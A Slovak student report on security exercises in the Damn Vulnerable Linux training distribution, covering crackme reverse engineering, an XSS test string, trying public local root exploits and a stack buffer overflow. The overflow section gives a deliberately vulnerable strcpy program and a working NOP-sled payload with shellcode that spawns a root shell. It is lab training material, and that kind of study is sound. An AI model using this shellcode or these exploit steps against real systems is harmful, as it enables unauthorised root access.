DVL - Damn Vulnerable Linux

Martin Jantošovič, Milan Kabát

6. mája 2010

1 Reverse Code Engineering

1.1 Úvod

Damn Vulnerable Linux je distribúcia Linuxu slúžiaca ako tréningové prostredie IT bezpečnosti. Obsahuje množstvo nástrojov a cvičení, na ktorých je možné skúšať a testovať hackerské dovednosti. Zaujímavá je napríklad sekcia s názvom „Reverse Code Engineering“. Pojmom „reverse engineering“ sa označuje process, kedy je úlohou zistiť, čo najviac informácii o štruktúre, princípoch, funkciách a operáciach analyzovaných programov. Následne sa dajú tieto informácie využiť k vybudovaniu vlastného programu s rovnakou funkcionalitou, k odstráneniu ochrany proti kopírovaniu, vytvoreniu „keygenu“ alebo k odhaleniu zranitelnosti systému.

1.2 Postup

Predtým ako sa človek môže začať zaoberať analýzou kódov, ku ktorým nemá zdrojové texty, musí sa naučiť základy low-level programovania. Medzi takéto programovanie patrí znalosť jazyka „assembler“. Ďalej je dôležité pochopiť ako procesor pracuje s registrami, ako spracováva pamäť a čo jednotlivé inštrukcie znamenajú. Výbornú sériu tutoriálov vytvoril Vivek Ramachandran s názvom Assembly Language Primer for Hackers [1], ktorá je dostupná na internete.

Po zvládnutí základov assembleru, je potrebné zoznámiť sa s nástrojmi, ktoré ulahčia spracovávanie programu. Na začiatku treba zistiť nejaké základné informácie o cieli. K tomu sú vhodné príkazy `file` a `readelf`, z ktorých môžme vyčítať napríklad typ operačného systému, typ procesora alebo pamäťovú adresu vstupného bodu programu. Ďalší užitočný nástroj je `strings`. Tento príkaz vypíše všetky textové reťazce, ktoré sa v danom súbore nachádzajú. To môže byť vhodné pri hľadaní nejakých hard-coded dát. Na disassemblovanie sa využíva `objdump` a nakoniec netreba zabudnúť na ladiaci nástroj `gdb`. Samozrejme tieto nástroje nie sú jediné. Existuje veľa iných s grafickým rozhraním a viac sofistikovanejších. Výber vyššie popísaných je však dostupný v Linuxe bez nutnosti inštalácie dotatočných balíkov.

[1] http://securitytube.net/...

1.3 Konkrétne príklady

So všetkými týmito znalosťami, nezostáva nič iné len cvičiť a cvičiť, pretože iba tréningom sa človek zdokonaľuje. DVL obsahuje veľké množstvo cvičných programov v adresári `/dvl/crackmes_package/`. Venovali sme sa prevažne príkladom z podadresára `level_01`, z ktorých niektoré boli vyriešené behom pár minút, no iné trvali viac času.

Napríklad program s názvom `Cyrex_LinuxCrackme1` patril medzi rýchlo vyriešené. Pri spustení si aplikácia vyžiada heslo. Keďže program sa skladá iba z jedného súboru, prvý nápad je, že heslo je zadrátované priamo v programe. Spustením

```
$ strings crackme
```

dostávame zoznam textových reťazcov programu. Je potrebné všimnúť si tajomný reťazec „47ghf6fh37fbgbgj“. Následné vyskúšanie tohto reťazca vracia kladný výsledok.

Druhý príklad s názvom `Cyrex_LinuxCrackme2` už nie je taký jednoduchý. Opäť je možné pomocou analýzy textových reťazcov zistiť správne heslo. Problém je, že zadanie správneho hesla nie je všetko. Je potrebné vytvoriť v adresári `/tmp/` jeden súbor. Aby bolo možné tieto informácie zistiť, musí sa vykonať podrobnejšia analýza kódu pomocou `gdb`. Autor programu takéto chovanie predpokladal a preto do neho zakomponoval malý trik, viz:

```
$ gdb crackme
gdb$ run
Are you trying to Debug me?

Program exited with code 01.
```

Disassemblovaním kódu sa dá odhaliť, že autor testuje pomocou `ptrace`, či nie je pod kontrolou nejakého ladiaceho nástroja. Ako to obísť, nebudeme prezrádzať. To by nebola zábava.

Z dalších príkladov by som spomenul `Ballmann_checkpasswd`, ktorý už nepoužíva plain-textovú podobu hesla uloženú v programe. Využíva funckiu `crypt`, ktorou zahešuje zadané heslo a to porovná s reťazcom, ktorý ma uložený v pamäti. Cvičenie s názvom `Nobody_RitzCrackme` nie je možné rozlúštiť bez dôkladného porozumenia disassemblovaného kódu. Zatiaľ čo v iných príkladoch je možné vidieť v inštrukciách volania nejakých štandardných funkcií, v tomto príklade sú funkcie vyvolávané pomocou INT 0x80 inštrukcie.

Reverse engineering je určite zaujímavá oblasť. Vyžaduje však mnoho času, cvičenia a správneho porozumenia myslenia autorov softvérov.

2 Využitie Buffer Overflow

2.1 Úvod

Buffer Overflow (BoF) je typický útok využívajúci nedostatočné ošetrenie vstupov od užívateľa, prípadne nesprávne zaobchádzanie s textovými reťazcami. Na využitie takejto slabiny existuje viacero techník. Využili sme techniku NOP-sled.

2.2 Technika NOP-sled

Cieľom útočníka je prinútiť zraniteľný program k tomu, aby vykonal shellcode, ktorý mu bude „podstrčený“. Problémom však je, ako nasmerovať IP (Instruction Pointer) na adresu, kde je umiestnený shellcode.

Metóda NOP-sled tento problém rieši následovne: okrem shellcodu sa na stack zapíše i sekvencia NOP operácii (No OPeration) a na jej koniec sa pridá relatívny skok na adresu, kde začína shellcode. Potom ostáva už len zaistiť, aby návratová adresa z inkriminovanej funkcie spadla niekam do bloku NOP operácií, keďže IP po týchto operáciách „skĺzne“ až k relatívnemu skoku a následne k začiatku shellcodu.

Samozrejme, shellcode si útočník nemusí písať sám. Inštrukcie, po vykonaní ktorých sa útočníkovi spustí rootovský shell sú ľahko dostupné.

2.3 Technické detaily

Ako zraniteľná aplikácia bol použitý následovný program:

```
#include <stdio.h>
#include <string.h>

int main (int argc, char** argv) {
        char buffer[400];
        strcpy(buffer, argv[1]);
        return 0;
}
```

Keďže funckia `strcpy` nekontroluje dĺžku kopírovaných reťazcov, je pre útoky typu BoF priam ideálna. Tento program sme následne „ladili“ pomocou `gdb`. V priloženom príkaze vidíme argumenty predané programu z `gdb`:

- 300-krát inštrukcia NOP (0x90)
- shellcode (nasledujúce 3 riadky)
- 45-krát adresa kdesi v NOP bloku, touto adresou sa snažíme prepísať IP a tým presmerovať vykonávanie niekam do bloku NOP oprácií.

```
run `perl -e 'print "\x90" x 300 .
"\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52"
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x52\x53\x89\xe1\xcd\x80"
. "\xf0\xf3\xff\xbf" x 45'`
```

Po spustení tohto príkazu v `gdb` vďaka shellcodu (z milw0rm.com) dostaneme root-ovský shell.

3 Cross-site scripting

3.1 Úvod

Cross-site scripting (XSS) je v súčasnosti jednou z najvážnejších hrozieb bezpečnosti na Internete. Útočník pri tomto type útokov využíva nedostatočné ošetrovanie vstupov na stránkach k vkladaniu vlastného javascriptového kódu. Tým môže stránku využiť napríklad k phishingu, alebo k zberu dát od návštevníkov stránky (keylogger). DVL poskytuje v sekcii webových útokov i ukážky takto zraniteľných stránok.

3.2 Postup

Ak chceme otestovať stránku na náchylnosť voči XSS, stačí nájsť vhodné miesto pre zadanie textu od užívateľa a zadať napríklad:

```
<script>alert();</script>
```

Ak sa nám po odoslaní tohto textu ukáže okienko s chybovou hláškou, našli sme zraniteľnú stránku.

Pomocou HTML tagu `iframe` môžeme do stránky vložiť frame obsahujúci ľubovoľnú inú stránku a prispôsobením parametrov dosiahneme prekrytie celej stránky.

4 Spúšťanie rôznych exploitov

V rámci „hrania sa“ na *script kiddies* sme tiež skúšali spúšťať rôzne exploity zo stránky `milw0rm.com`. Patrili medzi ne napríklad exploit funkcie `ptrace_attach` alebo `linux-sendpage`. Ich účelom je poskytnúť rootovský shell, čo sa nám s druhým menovaným i podarilo.